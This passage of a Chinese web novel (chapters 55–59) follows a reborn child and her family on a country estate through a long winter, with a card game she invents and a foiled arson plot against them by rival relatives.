那动作行云流水,精准无比,比最熟练的老农还要老道,比无人机还要快速均匀。转眼之间,规划好的四亩、三亩、三亩土地,均已播种完毕,种子没入湿润的泥土,只留下规整的田垄和淡淡的希望气息。 孟沅站在原地,看着这自动化、精准化到极致的“播种仪式”,忽然想起自己刚才还打算用她的小陶罐,一点点搬运,再累断手地撒播……小脸不由得一红,心里暗暗啐了自己一口:“孟沅啊孟沅,你可真是傻到家了!” 看着眼前这片已经孕育着希望的田野,心里那点不好意思瞬间被无边的感激和赞叹取代。她对着这片似乎有灵性的空间,真心实意地、大大地竖起了她小小的拇指。 要是这空间真有意识,是个人形,她一定会扑上去,狠狠抱住,然后在那想象出来的脸上“吧唧”亲上一大口! …… 京城里,这个年过得最糟心的确实就是安平侯府。 府门前那几盏红灯笼,到了初一才迟迟挂出,颜色虽是正红,却透着一股子潦草的意味,像是匆忙间从库房角落里翻出来的旧物。烛火在里面晃晃悠悠燃了半宿,不知何时就悄无声息地灭了,竟也无人察觉,更无人去添换。 那黑沉沉的灯笼就那般悬在寒风里,缎面被风吹得扑簌作响,衬得门庭愈发冷清寥落,过往行人偶尔瞥见,心里都难免嘀咕一句这侯府的光景怕是大不如前了。 但是,倒霉归倒霉,贵妇圈里对着他们家的闲话也如同春日柳絮,纷纷扬扬,总离不开“败落”、“治家无方”、“遭了天谴”这几个字眼。 然而,世事难料,这些窃窃私语与明里暗里的嘲讽,竟像隔了一层看不见的罩子,丝毫未能影响那位在众人眼中既无功名又无毫无建树的孟二泉升官。 年节的气氛刚淡下去,一纸任职喜报便像投入静潭的石子,在这不大不小的圈子里荡开了涟漪。虽则仍旧是个无甚实权的闲职,只是从那正六品提到了从五品的员外郎,但这半级的擢升,在此刻安平侯府的低迷境况下,已足够令人瞠目咋舌,私下里猜测其中关节的人不知凡几。 这消息如同一声意外的锣响,让二房一家和老太太瞬间从年下的萎靡中惊醒过来。 他们先前恰似一群刚被阉割、垂头丧气的公鸡,此刻却被这突如其来的“喜讯”狠狠打了一剂鸡血,那颓败的气息一扫而空,腰杆子不知不觉又挺直了,眼神里重新燃起了光,仿佛连日来的阴霾不过是场幻梦,一下子又恢复了往日的元气与心气。 孟怀堂借着这阵东风,似乎彻底忘却了年前在书院的种种窘迫,如同竹笼里那只曾经斗败、瑟缩许久的蝈蝈,一旦感觉到笼外气温回暖,便又迫不及待地鼓噪起翅膀,在书院那方小天地里重新上蹦下跳起来,言谈举止间,似乎又找回了身为侯府公子的底气。 孟绫也是如此,年前那种自觉抬不起头、恨不得终日缩在闺房绣楼里的羞惭,被父亲升迁的消息冲刷得干干净净。她开始频频出门,在相熟的贵女圈子里走动,言语神态间不免带上几分扬眉吐气的耀武扬威,急切地想从他人的反应中寻回那曾经摇摇欲坠的存在感与体面。 才刚过了二月,春风尚未彻底吹软柳枝,孟二泉的后院又起波澜。出乎许多人预料,他并未如外界猜想那般直接将红姨娘抬了身份,而是以颇为正式的礼节,娶进了一位平妻焦氏。 发妻尚在,自然算不得续弦,这“平妻”的名分,多少有些勉为其难、权衡折中的意味。其中一层,是为了顾全老太太娘家那边的颜面;另一层,则是考虑到孟怀堂与孟绫这一对嫡子嫡女终究是摆在眼前的,总要摆出些看重嫡系、不忘根本的姿态,给外人,也给族里一个说得过去的交代。 这场婚事办得不甚张扬,却足以让府内府外的人再次品咂出这安平侯府二房院内,那微妙而复杂的气息,感叹这一家主子的生性凉薄。 第55章 我不急,急的是他们。 “孟大人身体日渐好转,看着应有站起来的那一日,不可能总是呆在庄子里。可是打算灾后回府?” 不知不觉,杨大儒在嘉禾庄已住了近三个月,也做了孟怀瑾两个多月的先生,闲暇时常来与孟大川聊聊天下大势、家常理短。这一日,窗外春寒未褪,他捧着温热的茶盏,终是心无旁骛地问出了这句盘旋已久的话。 即便孟大川从未明言,以杨大儒的阅历与敏锐,这数月间也早已品味出内里的不寻常。主子住的这小院,表面看去宁和静谧,仆从举止也似与寻常人家无异,但自年节至今,从主子到下竟无一人提及安平侯府半句,仿佛那京城里的高门大院与这庄子隔着山海,全无瓜葛。 庄中护院护卫,行动坐卧皆带章法,隐隐是行伍气象;便是贴身伺候的奴仆,步履间也透着利落劲,绝非泛泛。 孟大川父子用药更是谨慎万分,除却夫人与她那两个沉稳的贴身丫鬟,旁人一概不得经手。再看这庄子如今守得如铁桶一般,若说只为防范灾民,杨大儒是断然不信的。 就连那不满四岁的小阿沅,也机灵得紧,口风严实。她看似童言无忌,东问西说,可一触及家中之事,便像捂着宝贝的小兽,多问两句,她就眨巴着那双乌溜溜、满是懵懂的大眼睛,一副全然听不懂你在问什么的模样,叫人又好笑又无奈,实在可爱得紧。 “爹爹不肥(回)!要肥(肥)先生叽叽(自己回)。”正把玩着被角里揪出的一小团棉絮、埋头“忙碌”的阿沅,听到问话,小脑袋都不抬,便脆生生地替爹爹回了过去,语气那叫一个理所当然。 似乎怕先生不信,她又用力点了点小脑袋,补充道,每个字都咬得认真:“爹爹种地,收娘(粮)食。”仿佛在她的小世界里,爹爹种地收粮便是天底下最要紧、最正经的事。 “阿沅不得无礼。”孟大川轻斥,手掌在她的小屁股上不轻不重地拍了一下,算是惩戒。阿沅立刻嘟起了花瓣似的小嘴,圆鼓鼓的脸颊写满委屈,却还是梗着脖子坚持:“不肥,娘亲不肥,嘚嘚也不肥。”小身子还往爹爹身边靠了靠,寻求同盟,生怕他反悔。 “种地?孟大人这是要解甲归田?”杨大儒诧异更甚,从这小人儿斩钉截铁的态度里,第一次清晰感觉到了她对侯府那份毫不掩饰的排斥。 “也不是不可。”孟大川唇角微扬,锦被下的右脚轻轻动了动,感受着日渐复苏的力量,另一只手慈爱地揉了揉女儿细软的头发,朗声笑道,“习惯了,觉得庄子挺好。冬日最难熬的都快过去了,夏日此处正好避暑,老北也说,这庄子最是适宜将养身子。” 他目光转向杨大儒,笑意温和却带着不容置疑的邀请,“先生若是不嫌弃,便安心留下,待到我儿考取了功名,我们再一同回城也不迟。” “那……”杨大儒抚须,作深思状,既未点头也未摇头,目光却更深了些,缓缓问道,“那……侯府的爵位?” 孟大川眼眸中的笑意微沉,视线投向窗外不知名的远方,声音平静无波,却字字清晰:“本官若是不死,着急的,便是他们。”大康朝那不成文的规定——传长不传幼,传嫡不传庶,如无形枷锁,亦如磐石根基,他心知肚明。 “倒是大人想得通透。”杨大儒摸着花白的胡子,长长一叹,目光落回又对爹爹一缕长发产生兴趣、正试图编个小辫子的阿沅身上,眼中泛起一丝温情与决断,“老夫求之不得。倘若他日真有变故,将我这把老骨头埋在这庄子里,便是归宿。” “那您可得好好活着,”孟大川闻言,方才的沉郁一扫而空,大笑起来,笑声驱散了室内的凝重,“本官不怕刀枪无眼,却最忌文人的口诛笔伐。杨先生莫要给我太多气受才是。” 阿沅近日里寻着了一样顶顶有趣的新乐子,缠着哥哥给她做了一套“接龙牌”。这牌可不一般,是她凭着记忆里扑克牌稍作改良,用三岁小娃的语言说给哥哥听的。 统共一百张,分作二十样花色,每样五张,上头画的不是什么复杂图案,不过是三五只憨态可掬的小猫小狗,或是几簇疏密有致的兰草梅花。 东西虽简单,玩法却巧妙——将牌分匀了,每个人轮流出牌接成一条“长龙”,谁出的牌与前面龙身上的某一张相同,便能将相同两张牌之间的所有牌都“吃”进自己手里。 这般眼疾手快的游戏,孟沅前世从小玩到大,乃至参加工作后,偶有闲暇仍与同事们玩上几局,总是乐趣无穷。 她先是央求哥哥,又软磨硬泡地教会了爹爹、娘亲和哥哥。爹爹起初捋着胡须,摇头笑她“小孩子把戏”,可玩了两局后,竟也凝神屏气,眼睛紧紧盯着牌面,生怕错过了截龙的机会。娘亲性子温和,出牌总是不紧不慢,却也渐渐露出孩子般的好胜神色。哥哥最是促狭,有时故意慢吞吞出牌,惹得阿沅着急跺脚,他才大笑着把牌放下。 很快,三个丫鬟和莲子也被吸引了来,屋里屋外,常常响起阵阵惊呼与欢笑,引得院子里的小厮和丫鬟也忍不住探头张望。 这日午后,阳光透过窗棂洒在暖炕上,阿沅正与莲子和红袖玩牌。长长的牌龙末端正有一张相同的,阿沅立刻伸出小短手,急急叫道:“截龙!这些都归我啦!”说着就要将那一叠牌揽过来。 本应轮到自己出牌的莲子却不干了,她按住牌,笑着指向中间另一张牌:“小姐您看,这‘两只花猫’的牌在这呢,按规矩,是我先取牌。” 阿沅小脸顿时垮了下来,知道自己心急了,也操作违规。可她眼看着到手的“战利品”飞了,嘴一扁,忽然就把手里的牌往炕上一撒,身子一扭,背对着众人嚷道:“泥……泥们欺负人!这张牌明明先在这里的!是泥们弄乱了!窝不玩啦!” 她声音里带了浓浓的鼻音,眼眶也霎时红了,可眼角余光却偷偷瞟着众人的反应,一只小手还悄悄按在牌上,生怕被人收走。那副明明耍赖却又心虚的小模样,活像只偷油不成反委屈的小老鼠。 旁边凑热闹的柳氏的忍俊不禁,忙将她搂过来,顺着她的小背心哄道:“好好好,我们阿沅最厉害。来,这把都不算,重新来过。” 阿沅这才吸吸鼻子,转回身来,一边把撒出去的牌扒拉回自己面前,一边还嘟囔着:“那……那要重新分牌哦。”马上恢复了,眉开眼笑。 这牌戏实在简单又引人入胜,极易让人投入,也难免在输赢间生出些小小口角。尽管大家都心照不宣地让着年纪最小的阿沅,可阿沅的哥哥有时赢得兴起,故意逗她,难免“杀伐果决”,不留情面,惹得阿沅又气又急,院子里便时不时飘出“你耍赖!”“才没有!”的清脆争吵声,夹杂着欢笑,热闹得紧。 这热闹景象,院里的婆子丫鬟小厮们瞧在眼里,心痒难耐,便也寻些硬纸壳,依样画葫芦地做了些虽粗糙却实用的接龙牌,得了空闲便三五成群地玩起来。这风气像长了脚似的,渐渐从宅院里传到庄子中,佃户人家也学会了这趣致玩法。 漫长的冬日与严寒的雪天,就在这般吵吵嚷嚷、热热闹闹、生机盎然的氛围中,悄无声息地向后溜去。 第56章 半夜磨刀 三月初的雪,依然纷纷扬扬,细密如筛下的盐粒,又似扯碎了的棉絮,没完没了地从铅灰色的天幕往下倾洒,丝毫没有要停歇的迹象。 这般绵长的春雪,确是百年不遇的奇景,也成了压在人心头的一块冰。 因着这密不透风的雪幕,加上庄子里外严密的防护,又着实处置了几个不安分的刺头,孟沅本以为,里的一些腌臜事,今生或许能避开了。 可时空无论如何倒转,人心底里的那点东西,仿佛刻在了骨头上——好人终究坏不到哪里去,而该是坏胚的,也依然是坏胚,有些该来的风雨,似乎总要寻个缝钻进来。 “十五哥!十五哥!”一声压低了却透着焦急的呼唤,穿透细雪的簌簌声传来。若不是清楚自己领着的这七八个巡防佃户里,绝无第二个叫“十五”的,十五几乎要以为是自己熬了一夜,耳朵出了毛病。 天刚擦亮,灰蒙蒙的,四野寂静,哪来的鬼妹妹这般喊他? “干嘛出来吓唬人?”一个身影猛地从路旁半塌的雪堆后跳出来,拦在他面前。 那姑娘穿着灰扑扑的大棉袄,脸色却比旁人还要暗沉两个度,几乎融进未褪尽的夜色里,乍一看,还真像雪地里蓦地冒出个鬼影子。十五被她惊得后退半步,没好气地呵道。 “哟,老弟,是黑丫!准是瞧上你了!”旁边一个年长些的佃户立刻认出来人,挤眉弄眼地打趣。后面跟着的汉子们本已困倦,闻言都哄笑起来,寒夜的疲乏似乎被这玩笑驱散了些。 黑丫立刻涨红了脸——尽管在那黑瘦的面皮上不大显。她二话不说,蹲下身飞快团了个结实的雪球,直起身“嗖”地朝那打趣的佃户掷过去,动作又快又准:“让你再满嘴胡吣!小心真见了鬼,半夜敲你家门!” 雪球正中那人肩头,炸开一团白。众人笑得更欢,被砸的佃户也不恼,拍掉雪沫,跟着大伙儿嘻嘻哈哈。 笑闹过后,疲惫重新涌上,众人各自散去,忙活一整夜,此刻只想赶紧回家,钻进热被窝睡个昏天黑地。 十五自然也认出了黑丫。这段日子召集佃户巡庄,成效不错,虽有过两拨灾民试图冲击,都只是摸到庄子边就被打跑了。 按照大伙儿的提议,黑丫和她二叔婆主动揽下了半夜给巡防队做顿热乎加餐的活计,一来二去,也算熟人了。 “什么事?”十五一身寒气,满脸倦容,眼下一片青黑。这会儿,他满心只想快点回到院里,吞下两个滚烫的肉包子,然后倒头睡到天黑地暗。 “是大狗和二赖子,”黑丫凑近了些,声音压得更低,带着寒气,“恐怕要生事。二叔婆让我赶紧来跟您说一声。”听到这两个名字,十五的脚步像是被雪冻住了,倏然顿住。 他脸上的困倦瞬间被锐利取代,目光严肃地投向黑丫:“怎么说?” 当初动员佃户加入巡防,庄头列出的青壮名单里,就有大狗和二赖子这兄弟俩——他们是陈婆子的儿子。可这二人偏偏梗着脖子不配合,口口声声说宁可饿着肚子躺着发懒,也不屑去挣那“区区三斤粮食”,语气里竟还带着莫名的底气。 提起这家人,庄子里不少人都憋着气,私下都说若真有事,最先该扔出去的就是他们。 如今,他们竟想生事? “千真万确!”黑丫见十五重视,说得更急,“二叔婆家挨着他们院子近,看得真真的!前晚开始,那兄弟俩就躲院里,‘嚯嚯’地磨柴刀、磨斧头!” 她生怕十五不明白利害,又急急补充,“谁家没事干,大冬天黑灯瞎火地磨这个?指定憋着坏呢!十五叔,您可得管管,不能让他们祸害了咱庄子!” “知道了。”十五的脸色沉了下来,语气硬邦邦的,“你先回去。这事,别跟其他人嚼舌头。” 懒惰成性的人忽然勤快起来,不是心里憋着坏水,就是被什么好处催动了。想到此节,十五的神情异常凝重。 嘉禾庄子大,除了正门和四角砌了砖石围墙,其余地段多是靠着密植的荆棘丛当屏障。这大冬天,万物凋零,叶子落尽,那些荆棘墙变得稀疏透亮,外面能把里头看得一清二楚。上次灾民想冲进来,打头阵用的就是柴刀斧头,专砍这些荆棘障子。 黑丫瞥了他一眼,像是恼他这硬邦邦的态度,转头就要走,还丢下几句负气的话:“我能那么笨?不然刚才早当着大伙儿面嚷嚷开了!倒是你,上点心吧!别等出了事抓瞎!” “你,站住。”十五被她这态度弄得有些恼火,低声喝道。 “干嘛?话也说完了,还不叫人走了?”黑丫猛地转回身,瞪圆了眼睛,语气同样不善。她直觉跟这十五犯冲,这人总板着张脸,本来就瘦,再配上那线条硬朗、略显狭长的脸型(在她看来就是“鞋拔子脸”),怎么看怎么不顺眼。 “你家……可有半大小子?”十五的语气稍稍缓和了些,但依旧谈不上好听。 黑丫立刻叉起了腰,一脸警惕加挑衅:“当然有!怎么?想练练?”那架势,活像护崽的母鸡。 “先要两个人,盯着那兄弟俩。”十五没理会她的脾气,在他眼里,这黑丫头片子咋呼起来也不够一碟菜。他此刻只想尽快布下眼线,若用巡防队的人,容易打草惊蛇,也没有小孩方便。 见黑丫瞪着眼,满脸不解,十五以为她是在讲条件,便干巴巴地补充:“也可以分粮食。” “……”黑丫一愣,随即明白过来,这是把盯梢的差事交给了她家!这等“好事”……她立刻想到家里那两个整天闹腾着想跟巡防队出去“干大事”的弟弟,脸上瞬间阴转晴,眉开眼笑地往前凑了几步。 “有!一个九岁,一个十一,皮是皮了点,可机灵着呢!守人盯梢,保准没问题!” “让他们耳朵也机灵着点,听听那家子都说些什么。”看到这黑瘦姑娘忽然变脸,热切地往自己跟前凑,十五有些不自在地退开半步,丢下这句话,转身就朝着主子所住的大院方向,深一脚浅一脚地在雪地里跑了起来。 这会儿,该值守的早已到位,该补觉的也已歇下。事情透着蹊跷和紧急,十五没打算等孟柒老大起身转达,而是决定直接去禀报主子。 第57章 雪停了 四月初,老天爷终于收起了那副严酷的面孔,连续三个多月没日没夜飘洒的雪花总算停了。 接连三日的晴好,让那轮久违的太阳显出了十足的威力,金灿灿的阳光普照下来,庄子里原本厚实如棉被、坚硬如白玉的积雪,表面渐渐开始变得濡湿、松软,边缘处悄然化开,滴滴答答地淌下晶莹的水线。 整个庄子,仿佛从一个漫长而寂静的银白梦境中,缓缓地、打着哈欠苏醒过来。 庄子那两扇沉重的榆木大门依旧紧紧闭着,日夜巡防的护卫们脚步也未停歇,但庄子内部的人心,却像那解冻的溪流,一下子“活”了过来,压抑了整个冬日的沉闷被一扫而空。 溪角的几株老柳树,枝条虽还光秃,但细看之下,已然鼓起了一粒粒嫩黄的芽苞,透着股蓬蓬勃勃的初春生气。 “都听好了!地虽还冻着,不能立马下田,可耽误了这么些时日,功夫不能再拖!庄子里所有道路,必须尽快清理出来,人要走,车要通!各家各户的犁耙、锄头、镰刀,都给我拿出来仔细检看,该修的修,该磨的磨,别等到要用的时候抓瞎,那可就晚了!” 林庄头天刚亮就起了身,手里提着一面锃亮的铜锣,“哐哐哐”地敲得震天响,中气十足的嗓门传遍了庄户聚居的角落。他将各家主事的男人召集到打谷场,叉着腰,一条条、一件件地分派活计,黝黑的脸上因激动而泛着红光。 经他这一吆喝,庄子里沉睡的力量仿佛瞬间被唤醒,到处都是应和声与匆忙的脚步声。 大院里的人也不遑多让。丫鬟们挽起袖子,露出冻得微红却干劲十足的手腕,婆子们呼喝着指挥,小厮们更是甩开了膀子,用木锨、簸箕,将院子里堆积如小山的厚雪一筐筐、一车车地往外清运。 院门自然是大敞开了,清新的、带着冰雪凉意与泥土腥气的风直灌进来,让人精神为之一振。 “走!我们到外面玩去!”阿沅早就按捺不住了,见状小手用力一挥,兴奋得小脸通红,连说话都比平日更利索清晰了几分。她被拘在屋里整整一冬,此刻如同出了笼的小鸟。 “外头雪正化着呢,地滑得很,积雪反光也伤眼睛,你们仔细照看着小姐,在阴凉的地方玩一会儿就回来,不许走远。”柳氏细细叮嘱着跟出去的红袖她们。 她自己也实在被闷坏了,吩咐人将孟大川安稳地移到新制的轮椅上,将丈夫缓缓推出了院门,呼吸着久违的清冽空气。 “夫人放心,定护小姐周全!”得了准许,绿果、红豆和莲子几人欢喜地应了,如同得了赦令般,簇拥着跃跃欲试的阿沅,一阵风似的冲了出去,在尚且泥泞的雪地上留下一串杂乱的脚印和清脆的笑声。 “怀瑾,读死书无益,今日天气难得,且随老夫出去走走,观万物复苏,亦是一课。”就连一向持重的杨大儒,望着窗外截然不同的热闹景象与初融的雪景,也忍不住放下手中的书卷,捻须对孟怀瑾说道。 “是,先生。”孟怀瑾虽是嗜书,到底只是个十四岁的少年,心性里自有向往活泼的一面,闻言立刻放下书卷,眼中闪着光,恭敬地搀起先生,也步入了这熙攘的春光里。 然而,与这表面的生机盎然截然不同,大门外轮椅上的孟大川,目光沉沉地扫过庄子里大片空旷的、正在融化的雪地,竟有几分恍如隔世之感。 他修长的手指在轮椅扶手上轻轻叩击两下,仿佛敲在无形的战鼓上,低声对身侧看似无人的空气吩咐:“趁那家人都出门忙活或看热闹的当口,将他们住的屋子仔细搜检一遍。我估摸着,就这几天,他们怕是要有动作了。” 略一停顿,他又补充道:“庄子外头,也加派两个机灵的护卫,隐在暗处盯着,看他们是否与外界有联络。” 自从知晓大狗和二赖子偷偷磨利了斧头柴刀,监视便未曾松懈。可十几天过去,只发现这两人有两晚鬼鬼祟祟溜出来,却只是在靠近庄子边缘一处极为僻静的荆棘丛里,向外砍斫,弄出了一个极难察觉、仅比狗洞稍大些的缺口,人却并未钻出去。 他让护卫们刻意维持着这“狗洞”未被发现的假象,但同样,也未见有外人从此潜入,更未从大狗一家平日的闲谈咒骂中听出什么明确的阴谋端倪。 难道之前的猜测全然错了?这种敌暗我明、长期僵持,无法掌握主动的局面,不仅让孟大川感到如鲠在喉,对于在战场上习惯冲锋陷阵、速战速决的孟柒等人来说,更是一种难耐的煎熬,焦躁的情绪已在悄然蔓延。 绝不能这般被动地守株待兔。孟大川眼神一凛,决心主动破局。 “是,大人!”孟柒的回应短促而坚定,身影微动,便已悄无声息地融入忙碌的人群背景中,仿佛一滴水汇入了溪流。 “阿九,”孟大川又唤,指着远处那片藏有“狗洞”的荆棘丛方向,“你去知会林庄头,清理出来的积雪,不必随意堆放,除了那里,全部运到荆棘丛下,给我堆实。” 他特意强调,“除了他们弄出洞口的那一小片,其他方位的荆棘丛下,都要用雪堆挡起来。” “是!大人!”阿九领命,快步离去。 直到阿九的身影也消失,一直静静站在轮椅后方,听着丈夫一道道安排的柳氏,才轻声开口,语气中带着犹疑与忧惧:“夫君是认为……二房那边,仍不肯罢手,还要对我们不利?” “夫人以为,他们费了这许多周折,目的未遂,便会轻易善罢甘休么?”孟大川反手,准确地在肩头握住妻子微凉的手,力道沉稳,带着令人安心的温度,眼神锐利如刀,“我们若存此侥幸,便是将咽喉送到对方刀下了。” “可如今路上的积雪尚未化尽,京城方向定然无法通行车马……”柳氏的忧虑也是常理,雪封道路,京城的人出不来,不仅是她,恐怕庄子内外大多数人都是这般想的。 “夫人再细想想沅儿那个梦,”孟大川手上微微用力,将柳氏拉到自己身侧,迫使她正视自己,“他们想让我们绝户,那是环环相扣的死局。有些棋子,恐怕早就埋在了我们身边,未必需要等京城来人。” 他见妻子眼中惊悸更深,缓了缓语气,但依旧坚定,“即便此次是为夫猜错了,也不过是白费些防备的功夫。可若是猜对了……”未尽之言,让两人之间的空气都凝重了几分。 第58章 那就让那把火燃的更大 不到一盏茶的功夫,孟柒便去而复返,带回了搜查的消息:“大人,屋内仔细查过,并无特别异样的物事,也未发现新增什么东西。” 他语气里带着一丝不易察觉的泄气,但随即话锋一转,神情变得严肃起来,“不过,有一处蹊跷。因今冬我们发放的炭火充足,各家各户年前备下的柴火大多没怎么动用。如今天放晴,大家将屋角的柴火搬出来晾晒本是常事。 可大狗那一家,懒散出名,竟也搬了不少柴火出来,这本身已属反常。更怪的是,他们不在自家院前宽敞处晾晒,偏生挑了些看似干燥的柴捆,鬼鬼祟祟往田埂上搬,也不怕被人顺手牵羊。” 孟大川的眼睛眯了起来,闪过一丝寒光。他手中的柳氏明显哆嗦了一下,指尖冰凉。阿沅梦中那场吞噬一切的大火,只有他们夫妻二人深知其怖,连儿子孟怀瑾都未曾告知,更遑论属下。此刻听到“柴火”,若不是刻意让人盯住陈婆子一家一家,根本就不会往深处想。 “挑来的柴火……是靠近我们这边?”孟大川的声音低沉下去,带着洞悉的冷意。 孟柒脸上露出讶异之色:“大人料事如神!他们晒的柴火,正是晒在靠近我们后墙不远的田埂上!” 他不由得对大人的判断更加信服,接着道,“这家人占便宜没够,专盯着附近几户的柴垛子,怕是偷拿了不少混在里面,晒的时候被人撞见,陈婆子还跳着脚跟人对骂,死活不认。” 柳氏的手猛地收紧,指甲几乎掐进孟大川的手背。孟大川安抚地拍了拍她的手背,嘴角却勾起一抹冰冷而果决的弧度:“无妨,既然‘姑姑’(指阿沅的梦)提前给了警示,我们便不能辜负。他们想借这把火?那正好,我们便顺势将计就计,把这火烧得更旺。” “孟柒!”他放开柳氏的手,招孟柒附耳过来,声音压得极低,语速快而清晰,一道道指令流水般传出,“今晚开始,你这样安排……记住,务求自然,不着痕迹。” “还有,”他略一思忖,继续部署,“待雪化路通之后,我们便如此这般……” 孟柒凝神静听,眼中最初的不耐与困惑逐渐被凛然与跃跃欲试的精光所取代,他重重点头:“属下明白!定不负大人所托!” 阳光依旧暖暖地照着冰雪开始消融的庄子,孩童的嬉笑声隐隐传来,柳枝的嫩芽在风中微微颤动。 然而,在这片看似平和、充满希望的初春图景之下,一股冰冷的暗流已然开始加速涌动,一张反制的大网,正随着孟大川的指令,悄无声息地、严密地铺开。真假虚实,扑朔迷离,只待那关键一刻的到来。 扎了几个月的马步,又吃了那么多暖身的锅子,阿沅没见长个,脚劲实实在在地增加了不少,跑跳起来也稳了不少。 这一整天,她们都跟庄子里的孩子们玩在一处,笑声脆生生地洒在雪地里。 上午,他们从结冰的小溪边边将凿下的寒冰嘿咻嘿咻地搬回来,小手冻得通红也不在意,堆起一个歪歪扭扭却神气活现的大雪人,用青石块点了眼睛,插了根萝卜当鼻子。 随即雪团便满天飞了起来,阿沅机灵地躲闪,也不时捏了坚实的雪球反击,领口、袖笼里钻进碎雪,化作冰凉的湿意,却只觉得畅快。 只是也没能玩多久,就被绿果和红果硬拘回去换了身干爽衣裳,吃过热气腾腾的午饭,睡了个沉沉的午觉,下午她又像出笼的雀儿般跑了出去,直玩到天空不见了日头,小脸通红,浑身都透着恣意的欢腾,可说是玩得心满意足、够够的了。 晚上饱饱地吃了一顿,又被按进弥漫着草药香气的浴桶里,浸泡在滚热的水中,松快的疲惫泛上来,捞起来时已是眼皮打架,昏昏欲睡。 脑袋一沾枕头便沉入了黑甜乡,一晚上的梦境都沉醉在白日的欢声笑语与雪光冰影里,浑然不知这看似平静的庄子,已然在深沉夜色下,发生了天大的事。 “快点,拎了马上回来,别耽搁!”狗洞前,二赖子被大狗用力推了一把,又结结实实地在屁股上踹了一脚,才跌跌撞撞地朝那黑黢黢的洞口爬去。冰冷的雪水一张膝盖,透心的凉,他低低咒骂了一声。稍等了片刻,大狗那微胖的身子也费力地挤了出来,撞落顶上一堆的碎雪。 此时正是子夜换防的间隙,新一队巡防的人手都集中在大晒场那头听候吩咐,准备出发。而刚收队的那一拨,正挤在温暖的空屋里,就着灯火吸溜着香喷喷的羊肉粥,浑身舒坦。 这短暂的空白,便给陈家这两兄弟“创造”了无人察觉的时机。 两兄弟手脚并用地爬出藏身的、挂着冰凌的荆棘丛,拍打着膝盖上那早已湿透、寒意直往骨头缝里钻的裤腿,嘴里不干不净地嘟囔着种种不堪入耳的脏话,骂骂咧咧朝不远处一个影影绰绰的庄子摸去。 四下里唯有风雪低啸,他们的声音压得极低,却透着狠厉。“呸!施舍点破木炭、杂粮和人家不要的旧衣裳,就想收买咱?做他娘的清秋大梦!京城那家许下的,可是白花花的银子,还有实实在在的田庄!” “等咱们收拾了大房那几个病秧子短命鬼,翠花和菊花……”二赖子说到二叔婆家的两个孙女,浑浊的眼睛里冒出淫邪的光,口水几乎要淌下来,“那身段……嘿嘿,我跟大哥正好一人一个,慢慢受用。” 大狗啐出一口浓痰,黄牙在昏暗中咧开:“还有谭家那个装模作样的寡妇!看老子得了势,她还敢不敢拿乔!非得叫她跪着舔鞋,自己爬上来不可!到时候咱哥俩一起,非得作践得她连声‘好哥哥’求饶不停!” 两人越说越是得意,仿佛锦绣前程和温香软玉已在眼前,完全未曾察觉,自己鬼祟的行踪、低哑的密语,早已落入暗中几双冰冷的眼睛里,一举一动,皆在他人掌控之中。 而此刻,大宅子后院的田埂上,一个佝偻的身影正在风雪中无声忙碌。陈婆子抱着一捆捆早已备下的干柴枯枝,走走停停,将它们一一归拢到大宅子高耸的墙根底下。她动作有些迟缓,却顾不上停歇。 挑完了自家备的,她竟又蹒跚着去到附近几户早已熄灯安睡的人家屋后,将他们堆放的柴火也悄悄搬来不少。那柴垛堆置得最多的,便是孟大川一家所住屋舍的后墙根位置。 柴枝交错堆积的影子,在黯淡的雪光映照下,张牙舞爪,仿佛一只蛰伏的怪兽。从一个不显眼的狗洞里,也塞进来不少木材,院内,黑暗中跟墨竹和纸槐伫立在一处的孟怀瑾,瞳孔猛然收缩。 完全没想到院子里还有内应。 …… 距离嘉禾庄不过一里地的白水庄,是个不起眼的小庄子,拢共几十亩薄田,几间房舍在夜色里轮廓模糊。看见大狗和二赖子熟门熟路地摸到门前,有节奏地敲了几下,木门立刻开了一道缝,两人侧身闪了进去。 几乎是同时,两道如轻烟般的身影——隐身的孟柒和阿九——悄无声息地掠上围墙,伏在背光处的阴影里,与瓦楞上的积雪几乎融为一体。 “快点弄走,今夜就把事情办了。省得夜长梦多,惹祸上身。”一个提着昏暗马灯的黑衣人哑声催促,指了指门边一架黑乎乎的独轮车,语气满是不耐烦。 “娘的,怎么这么沉?”两兄弟凑近一看,上面扎扎实实捆着几个大陶瓮,忍不住低声骂咧起来,来时路上盘算着要汇报些庄内情况的念头,早被这突如其来的重负和催促打散到九霄云外。 “幸亏还有这破车,不然得累死爷我!”他们费力地推起车子,吱吱呀呀地没入庄外更深的黑暗。 目送他们离开,黑衣人迅速关上木门,缩了缩被寒风冻得僵硬的脖子,转身对着正屋那扇透着微弱灯光的窗户,语带抱怨:“这杀千刀的鬼天气!冻煞个人。里头这一家也是废物,这么点小事拖拖拉拉这么久,还得咱们来擦屁股。” 正屋里,灯火将一个人的影子拉得细长扭曲,投在窗纸上。一个阴森森的声音从里面飘出来,像毒蛇滑过枯草:“找个人跟进去。事情办成之后……把这一家办了,手脚干净点。” 那声音顿了顿,寒意更甚,“省得日后给主家留下麻烦。” 黑衣人眼中凶光一闪,做了个干脆的抹脖子手势,低声应和:“理应如此!这一家子,成事不足,留着的确是后患。” 寒风卷过庄院,刮得屋檐下的冰柱相互碰撞,发出细微而清脆的声响。 第59章 大火燃了一夜 夜深人静,寒风并未因为今天的太阳而有所畏惧,依然呼呼地刮,卷着残雪在墙角打旋儿。 两个黑影摸到大院墙根下的狗洞边,怀里各抱着一罐沉甸甸的桐油。那狗洞藏在一丛枯败的荆棘下,平日里野猫出入,此刻却成了祸患的门户。 两人手脚麻利,先后将桐油罐子顺着洞口往里塞,陶罐与砖石摩擦发出细微的沙沙声,在寂静中格外清晰。院子里马上有个人猫着出来接应,黑乎乎的,看不出来是谁。 外面三人一人提着一罐桐油,快步走向墙边堆积如山的柴火堆,提起罐子正要倾倒时——柴堆后、树影里、甚至积雪覆盖的草垛中,猛地扑出几道如猎豹般迅捷的黑影!那放火之人惊得桐油罐脱手,尚未落地便被一只筋骨分明的大手凌空接住。 来人动作干脆利落,捂嘴、反剪、捆缚、塞口,一气呵成,不过几个呼吸,三条“泥鳅”便被捆成了粽子,扔在雪地里,只剩惊恐圆睁的双眼在黑暗中乱转。 不多时,嘉禾庄内果然火光冲天!烈焰首先从关押过孟怀瑾的那两间厢房蹿起,火舌贪婪地舔舐着木质窗棂与茅草屋顶,噼啪爆响声中,浓烟裹着火星直冲夜空。巡防队员们远远看着,却没有一人上前救火。 约莫半个时辰后,陈婆子家院落也猛地腾起一片赤红,两处火场遥相呼应,将半个庄子照得亮如白昼,连七八里外赶夜路的人能看见天边那抹红光。 